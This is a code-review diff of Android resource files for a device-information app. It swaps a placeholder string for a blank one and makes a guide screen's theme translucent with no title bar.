...@@ -180,8 +180,6 @@ Please rest assured that we will handle your information in strict accordance wi ...@@ -180,8 +180,6 @@ Please rest assured that we will handle your information in strict accordance wi
<string name="rom_information">ROM Information</string> <string name="rom_information">ROM Information</string>
<string name="camera_information">Camera Information</string> <string name="camera_information">Camera Information</string>
<string name="battery_information">Battery Information</string> <string name="battery_information">Battery Information</string>
<!-- TODO: Remove or change this placeholder text --> <string name="IIHJDD"> </string>
<string name="hello_blank_fragment">Hello blank fragment</string>
</resources> </resources>
...@@ -18,12 +18,12 @@ ...@@ -18,12 +18,12 @@
<style name="splash.theme" parent="Theme.AppCompat.DayNight.NoActionBar"> <style name="splash.theme" parent="Theme.AppCompat.DayNight.NoActionBar">
<item name="android:windowBackground">@drawable/splash_bp</item> <item name="android:windowBackground">@drawable/splash_bp</item>
<!-- <item name="android:windowIsTranslucent">true</item>--> <!-- <item name="android:windowIsTranslucent">true</item>-->
</style> </style>
<style name="Guide.Theme" parent="Theme.AppCompat.DayNight.NoActionBar"> <style name="Guide.Theme" parent="Theme.AppCompat.DayNight.NoActionBar">
<!-- <item name="windowNoTitle">true</item>--> <item name="windowNoTitle">true</item>
<!-- <item name="android:windowIsTranslucent">true</item>--> <item name="android:windowIsTranslucent">true</item>
<item name="android:background">@android:color/transparent</item> <item name="android:background">@android:color/transparent</item>
<item name="android:windowBackground">@android:color/transparent</item> <item name="android:windowBackground">@android:color/transparent</item>
</style> </style>
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment